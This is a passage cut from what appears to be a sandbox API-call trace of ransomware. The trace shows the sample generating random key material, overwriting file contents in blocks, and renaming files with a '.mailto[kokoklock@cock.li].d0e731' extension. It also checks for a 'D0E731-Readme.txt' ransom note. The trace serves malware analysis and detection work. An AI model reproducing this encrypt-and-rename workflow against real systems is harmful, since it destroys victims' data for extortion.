0x1cb02027 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0xe32e1a16 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x4d2bb1a9 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0xce8694cf [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x1b0b3c4a [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x89e01ee7 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x7488d24d [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0xa6f9dd62 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x885f7c3 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0xb8a2e011 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x212a6fb6 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0xdd3cbdab [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x22d3d49c [0075.323] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0xebce281c [0075.323] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x6f2c820d [0075.323] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x4a3ddf88 [0075.323] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x56321380 [0075.334] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.334] ReadFile (in: hFile=0x9d0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1c3bfb18, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c3bfb18*=0x4096, lpOverlapped=0x0) returned 1 [0075.339] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.339] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479340 [0075.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479368 [0075.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479368) returned 1 [0075.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.342] WriteFile (in: hFile=0x9d0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1c3bfb18, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c3bfb18*=0x4096, lpOverlapped=0x0) returned 1 [0075.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.342] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x4cb22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.342] ReadFile (in: hFile=0x9d0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1c3bfb18, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c3bfb18*=0x4096, lpOverlapped=0x0) returned 1 [0075.344] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x4cb22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd9d0 [0075.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0075.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794d0 [0075.344] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794d0) returned 1 [0075.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479458 [0075.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479480 [0075.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479480) returned 1 [0075.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0075.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd9d0) returned 1 [0075.345] WriteFile (in: hFile=0x9d0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1c3bfb18, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c3bfb18*=0x4096, lpOverlapped=0x0) returned 1 [0075.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.345] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x8efa2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.345] ReadFile (in: hFile=0x9d0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1c3bfb18, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c3bfb18*=0x4096, lpOverlapped=0x0) returned 1 [0075.346] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x8efa2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0075.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0075.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479610 [0075.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479610) returned 1 [0075.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479368 [0075.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34793e0 [0075.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793e0) returned 1 [0075.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0075.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0075.347] WriteFile (in: hFile=0x9d0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1c3bfb18, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c3bfb18*=0x4096, lpOverlapped=0x0) returned 1 [0075.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.347] WriteFile (in: hFile=0x9d0, lpBuffer=0x3479340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c3bfb74, lpOverlapped=0x0 | out: lpBuffer=0x3479340*, lpNumberOfBytesWritten=0x1c3bfb74*=0x20, lpOverlapped=0x0) returned 1 [0075.347] WriteFile (in: hFile=0x9d0, lpBuffer=0x3479458*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c3bfb74, lpOverlapped=0x0 | out: lpBuffer=0x3479458*, lpNumberOfBytesWritten=0x1c3bfb74*=0x20, lpOverlapped=0x0) returned 1 [0075.347] WriteFile (in: hFile=0x9d0, lpBuffer=0x3479368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c3bfb74, lpOverlapped=0x0 | out: lpBuffer=0x3479368*, lpNumberOfBytesWritten=0x1c3bfb74*=0x20, lpOverlapped=0x0) returned 1 [0075.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.347] WriteFile (in: hFile=0x9d0, lpBuffer=0x34793b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c3bfb7c, lpOverlapped=0x0 | out: lpBuffer=0x34793b8*, lpNumberOfBytesWritten=0x1c3bfb7c*=0x8, lpOverlapped=0x0) returned 1 [0075.347] WriteFile (in: hFile=0x9d0, lpBuffer=0x1c3bfb94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c3bfb7c, lpOverlapped=0x0 | out: lpBuffer=0x1c3bfb94*, lpNumberOfBytesWritten=0x1c3bfb7c*=0x4, lpOverlapped=0x0) returned 1 [0075.348] WriteFile (in: hFile=0x9d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c3bfb7c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1c3bfb7c*=0x4, lpOverlapped=0x0) returned 1 [0075.348] WriteFile (in: hFile=0x9d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c3bfb7c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1c3bfb7c*=0x6c, lpOverlapped=0x0) returned 1 [0075.348] WriteFile (in: hFile=0x9d0, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c3bfb7c, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1c3bfb7c*=0x20, lpOverlapped=0x0) returned 1 [0075.348] WriteFile (in: hFile=0x9d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c3bfb7c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1c3bfb7c*=0x4, lpOverlapped=0x0) returned 1 [0075.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479318) returned 1 [0075.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793b8) returned 1 [0075.348] CloseHandle (hObject=0x9d0) returned 1 [0075.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3431e48 [0075.348] wcscpy (in: _Dest=0x3431e48, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" [0075.348] wcscat (in: _Dest=0x3431e48, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731" [0075.348] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.349] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431e48) returned 1 [0075.349] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp", dwFileAttributes=0x20) returned 0 [0075.349] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347c750 [0075.349] wcscpy (in: _Dest=0x347c750, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0075.349] wcscat (in: _Dest=0x347c750, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" [0075.349] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\d0e731-readme.txt")) returned 0x20 [0075.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c750) returned 1 [0075.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cc9f0) returned 1 [0075.350] RtlExitUserThread (Status=0x1) Thread: id = 749 os_tid = 0x1200 [0075.335] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.png")) returned 0x20 [0075.350] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png", dwFileAttributes=0x20) returned 1 [0075.351] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9d0 [0075.351] GetFileSizeEx (in: hFile=0x9d0, lpFileSize=0x1c43f790 | out: lpFileSize=0x1c43f790*=5400) returned 1 [0075.351] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.351] ReadFile (in: hFile=0x9d0, lpBuffer=0x1c43f764, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c43f760, lpOverlapped=0x0 | out: lpBuffer=0x1c43f764*, lpNumberOfBytesRead=0x1c43f760*=0x4, lpOverlapped=0x0) returned 1 [0075.352] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479318 [0075.352] NtQuerySystemTime (in: CurrentTime=0x1c43f73c | out: CurrentTime=0x1c43f73c*=132121176332377691) returned 0x0 [0075.352] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x64a39efb [0075.352] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xd8c3dbe4 [0075.352] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x3e02e650 [0075.352] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xae4f319f [0075.352] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x972188a7 [0075.352] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x285c5f71 [0075.352] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xf95ba457 [0075.352] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x4d5a435b [0075.352] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x5858be90 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x2716cc02 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x4dd191f1 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x3267fe46 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xaea8cf03 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x8ac0db20 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xad4f6c16 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xc9bd36b [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x85b78642 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xf2b0b374 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x77e6c976 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xde47f17e [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xdbdac560 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x3802e6ff [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x531f12bd [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xb1c01fe8 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x8f0afcf4 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xf92b64fb [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x3fd8c12d [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xf95588be [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xb42c55f1 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x3a3b0ff5 [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0xbff0c17e [0075.353] RtlRandom (in: Seed=0x1c43f748 | out: Seed=0x1c43f748) returned 0x94c62a8d [0075.364] ReadFile (in: hFile=0x9d0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1518, lpNumberOfBytesRead=0x1c43f73c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c43f73c*=0x1518, lpOverlapped=0x0) returned 1 [0075.365] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1c43f704 | out: lpNewFilePointer=0x0) returned 1 [0075.365] WriteFile (in: hFile=0x9d0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1518, lpNumberOfBytesWritten=0x1c43f738, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c43f738*=0x1518, lpOverlapped=0x0) returned 1 [0075.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34793e0 [0075.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479408 [0075.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479408) returned 1 [0075.365] WriteFile (in: hFile=0x9d0, lpBuffer=0x34793e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c43f734, lpOverlapped=0x0 | out: lpBuffer=0x34793e0*, lpNumberOfBytesWritten=0x1c43f734*=0x20, lpOverlapped=0x0) returned 1 [0075.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793e0) returned 1 [0075.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.365] WriteFile (in: hFile=0x9d0, lpBuffer=0x34793b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c43f760, lpOverlapped=0x0 | out: lpBuffer=0x34793b8*, lpNumberOfBytesWritten=0x1c43f760*=0x8, lpOverlapped=0x0) returned 1 [0075.365] WriteFile (in: hFile=0x9d0, lpBuffer=0x1c43f778*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c43f760, lpOverlapped=0x0 | out: lpBuffer=0x1c43f778*, lpNumberOfBytesWritten=0x1c43f760*=0x4, lpOverlapped=0x0) returned 1 [0075.366] WriteFile (in: hFile=0x9d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c43f760, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1c43f760*=0x4, lpOverlapped=0x0) returned 1 [0075.366] WriteFile (in: hFile=0x9d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c43f760, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1c43f760*=0x6c, lpOverlapped=0x0) returned 1 [0075.366] WriteFile (in: hFile=0x9d0, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c43f760, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1c43f760*=0x20, lpOverlapped=0x0) returned 1 [0075.366] WriteFile (in: hFile=0x9d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c43f760, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1c43f760*=0x4, lpOverlapped=0x0) returned 1 [0075.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479390) returned 1 [0075.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793b8) returned 1 [0075.366] CloseHandle (hObject=0x9d0) returned 1 [0075.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x34323c0 [0075.366] wcscpy (in: _Dest=0x34323c0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png" [0075.366] wcscat (in: _Dest=0x34323c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png.mailto[kokoklock@cock.li].d0e731" [0075.366] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.367] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34323c0) returned 1 [0075.367] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png", dwFileAttributes=0x20) returned 0 [0075.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347bca0 [0075.367] wcscpy (in: _Dest=0x347bca0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0075.367] wcscat (in: _Dest=0x347bca0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" [0075.367] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\d0e731-readme.txt")) returned 0x20 [0075.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0075.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd770) returned 1 [0075.368] RtlExitUserThread (Status=0x1) Thread: id = 750 os_tid = 0x1204 [0075.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e0a0 [0075.369] wcscpy (in: _Dest=0x347e0a0, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0075.369] wcscat (in: _Dest=0x347e0a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0075.369] wcscat (in: _Dest=0x347e0a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\*") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\*" [0075.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3eb0 [0075.369] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\*", lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34343e8 [0075.371] wcscmp (_String1=".", _String2=".") returned 0 [0075.371] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.372] wcscmp (_String1="..", _String2=".") returned 1 [0075.372] wcscmp (_String1="..", _String2="..") returned 0 [0075.372] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x33f3eb0 | out: lpFindFileData=0x33f3eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, 